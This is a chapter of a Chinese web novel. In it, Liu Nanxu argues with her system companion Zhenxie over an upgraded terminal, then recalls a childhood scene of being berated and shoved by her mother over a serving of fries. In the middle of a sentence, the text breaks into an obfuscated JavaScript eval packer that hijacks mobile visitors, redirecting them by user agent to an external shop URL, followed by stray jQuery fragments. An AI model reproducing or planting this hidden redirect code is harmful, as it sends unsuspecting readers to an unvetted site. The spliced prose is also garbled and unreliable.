礼盒从空中渐渐落下,柳南絮起身走过去,伸手接住。
“轻甸甸的,倒像个空盒子。”
她整体看了几眼,没发现什么特别之处,就将顶上的红色蝴蝶结解开。
盒中安放着一枚通透澄澈的水晶球,球身内部流转着斑斓细碎流光,球面印着一枚硕大的像素问号,莫名添上一层诡谲神秘的气息。
指尖轻落水晶球表面的一瞬,球体轰然炸开一片炽白强光,万千光刃扑面而来,光亮太过灼眼,柳南絮慌忙眯起眼,紧紧闭上双目躲避刺眼光线。
眼帘缓缓抬起,整片空间的氛围与陈设,尽数换了一番面貌。
刚刚透出的蓝色流光此刻又重新化作墙内银河中的点点繁星。这差别不大,只是更加生动,愈加具有身处星海的代入感,要数变化最大的,还是视野正前方错落矗立着的数面无缝曲面巨幕。
原本厚重且带有明显磨损痕迹的大屏,此刻变为超薄光屏泛着冷调银辉,无数数据流如溪流般在屏面无声游走。
下方是一体化哑光合金操作台,悬浮触控按键隐于台面之下,边缘流转淡蓝色光带,台侧配套一张贴合人体曲线的悬浮塑形座椅,金属框架缠绕微光管线。
镇邪的目光正细细描摹这套精密器械,动手随便点了两下按键后便发出尖锐的爆鸣声。
“啊啊啊啊,这触感,这灵敏度,真的是当前最新款的设备——星溯终端机3.0版。呜呜呜,我终于不用再天天敲那破旧还时不时失灵的黑色操作台了。”
熟悉的冰冷机械音骤然在空间内再度回荡。
“欢迎玩家柳南絮获得神秘礼物——系统家园plus版。”
镇邪全副心神都扑在崭新的星溯观测台上,全然未察觉身后动静。柳南絮静静立在它身后,伸手攥住它,一把将其提离操作台。
一股冰凉的寒意骤然裹住镇邪,它心头一凛猛地回头,直直撞进柳南絮晦暗森冷的目光里,耳畔紧跟着飘来一道阴恻恻、如同恶鬼呢喃般的低语。
“你不会是故意哄骗我来升级,好给你换一套新装备的吧。昂?”
“我辛辛苦苦赚来的4万金币就被这样霍霍光了,好处全被你占去,对我一点也没用。”
“你这是诈骗知不知道,我要报勾把你抓起来。”
被拎在半空中的镇邪手脚扑腾的没完。
“宿主,你冷静冷静,先放我下来,听我解释。”
“不放,你被我拎着照样可以讲话。我听你诡辩,说服我了就放你下来。”
“我真的不知道神秘奖励是什么,会开出这个我也很意外。”
“宿主,你别看这套设备对你没什么实质性的好处,但4万金币开出这个奖励完全血赚啊。星溯终端机3.0版现在市场价可是炒到了200万,其他的不管,但论这个你整整赚了196万呢。”
要不是柳南絮见证了这坑爹系统的物价还真的觉得它说得对。
“这能这么算吗?你这系统物价与奖励机制完全不对等,几个口罩就要1万,换算下来这台机子也就值一千个口罩,我在现实世界打几个小时工就赚回来了。”
“而我在你这干了那么多天,才赚了几十个口罩钱。”
“你这样算我好像找不到理由反驳你,但星溯终端机3.0版可是我最想要的东西,才不是一千个口罩就可以比得了的。”
听到镇邪这几乎呐喊出来的话,柳南絮愣了一下后把它放了下来。
柳南絮你真的是,和一个毫不知情的毛茸生物因为4万金币计较个什么劲,一点风度也没有。
镇邪对柳南絮这忽然默不作声地把自己放下的举动有些疑惑。
“宿主,你怎么忽然把我放下来了,是被我精湛的口才说服了咩。”
“嗯。”
唉?宿主她没有反驳我,并对我进行了肯定。
瞥见它满脸难以置信的模样,柳南絮缓缓屈膝蹲下,视线与它平齐。唇角漾开浅淡笑意,柔声开口解释,语调里裹着一份格外反常的温柔。
“你不是说这个机子是你最想要的东西嘛。既然如此,那不管对我有没有实质性的好处,我都是血赚。”
镇邪听懂了这番直白却又暗藏曲折的话语,眼眶瞬间湿热,泪珠簌簌滚落,它飞过去,紧紧环住柳南絮的脸颊,满心感激地哽咽出声。
“呜呜呜宿主,你对我太好了。”
柳南絮用手指拍拍它的肩膀,故作嫌弃地说道。
“哎呀好了,真肉麻,小心别把鼻涕蹭我脸上。”
“都说完我就回去了,这台新设备麻烦你多花心思研究研究。”
柳南絮退出精神识海,意识重新落回喧闹的教室,可心绪却早已飘向遥远过往。
镇邪方才所言、再抬眼梦回高中的熟悉光景,如一粒沉石坠入她久已平静的心湖,荡开层层涟漪,带来深切的回响。
7岁的柳南絮和妈妈一大早起床,趁着还没开大太阳徒步去镇上买菜。
虽然不仅要早起,还要顶着10点多的炽热阳光走回家,但去镇上买菜一直是年幼时柳南絮最期待的事情,没有之一。
蒸笼腾起白茫茫的热气,混着粮油、鲜果与炸物的香气漫遍整条街巷。摊贩的吆喝声、买菜人的闲谈、鸡鸭轻啼、铁器碰撞的脆响交织在一起,人声熙攘。竹筐里码着带露水的青菜,木盆盛着鲜活河鲜,糕点铺的糖霜在晨光里发亮,往来行人挎着布袋缓步挑选。
这里一切的一切对任何一个农村孩童有着致命的吸引力,而满手拎着沉重物品的柳南絮在来往行人的缝隙中瞧见了渴望已久的东西。
这东西隔壁的阿花给她看过,还勉为其难分了半根给她。
柳南絮激动地拿起来瞧了又瞧,半根手指长的小吃愣是让她在嘴里含了半天才舍得咽下去。
外皮软塌塌的,一口咬下去,里面绵糊糊的内芯跑出来,在嘴里炸开前所未有的风味。
“好吃吧,这叫薯条,是我爸爸早上从镇上买给我的。”
柳南絮点点头,嘴里吃完后舔舔嘴唇回味着。
“这可是用马铃薯做的,比土豆厉害多了,你没吃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17755437|209507||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
过吧。”
从此以后,薯条成为柳南絮晚上做梦都想要的美味。
柳南絮慢慢地将两只手上的袋子放在地上,从口袋中掏出零零散散的几个硬币。这是柳南絮辛辛苦苦帮大壮他们跑了一个星期腿才赚来的,凑起来正好3块钱,可以买一份最小份的。
柳妈刚买完菜,想将手中的袋子递给柳南絮拎着时才发现一直跟在身后的人不见了。但两人距离不远,柳妈转身寻去就看到她将袋子全放在地上,愣愣地站在原地不知道在瞎琢磨什么。
被太阳点燃的脾气此刻彻底爆炸。她怒气冲冲地快步走过去,嘴里还一直骂着侮辱的词汇,引得路上的行人频繁投来鄙夷又好奇的眼光。
“什么素质,当众满嘴脏话的骂自己小孩。”
“就是说,当的什么家长啊。”
柳妈特别爱面子,现在被当众指责显然挂不住脸,她收敛起狰狞的面孔,语气也变得更加柔和。
柳南絮满心沉溺在即将吃到薯条的欢喜之中,耳边人声络绎不绝,街巷间游人往来,热闹喧嚣包裹着她小小的期待,也抵御住柳妈的伤害。
她把钱又放回口袋里,还拍了拍确认无误,重新拎起沉重的袋子,去找妈妈,取得她的同意。刚抬起头便看见妈妈面带笑意地朝她走来。
妈妈的笑容增大了柳南絮的希望与信心。
她很少见到妈妈露出笑容,准确来说,不是少见,是妈妈的笑容都是给弟弟们的。
人笑着的时候代表开心,人开心的时候代表一切都更好说话。前一句是老师教的,后一句是柳南絮自己体会总结出来的,但她不知道的是笑容也可以是假的。
柳妈走到她身边,压低声音,用只有她们两个才能听到的声音说道。
“你这死丫头乱跑什么,我辛辛苦苦地和别人讲价,叫你跟在后面拎东西这点小事都做不好,我要你有什么用。”
“带你出来净给我丢脸。”
说完便伸手抓住她的手臂,要将她拽走。
柳南絮半蹲着,阻碍妈妈把自己带回家,另一只手指向旁边的小吃店。
“妈妈,我想吃这个,薯条可好吃了。我自己”
“我自己有钱”几个字还没说出口,她就被妈妈用力甩手,重重地摔在地上。
“一份用土豆做的薯条要我三块钱,三块钱我都可以买不知道多少个土豆了。败家玩意儿,这点账都算不明白,以后还有哪家会要你。”
柳妈再次伸手,像拎水桶一样将柳南絮单手拎起来,怒喝道。
“赶紧和我回家。”
柳南絮挣扎着,连忙保证。
“妈妈,我自己买,之后会自己回家的,求你了。”
这是柳南絮黑暗童年以来的第一次反抗。
柳妈对她本就毫无耐心可言,转身离开走向人群,觉得柳南絮还会像以前一样,急忙跟上来。可这次即便自己已经走远,柳南絮依旧待在原地。
柳妈怒火中烧,朝柳南絮走回来。
小贱人长大,翅膀变硬,都敢忤逆我了。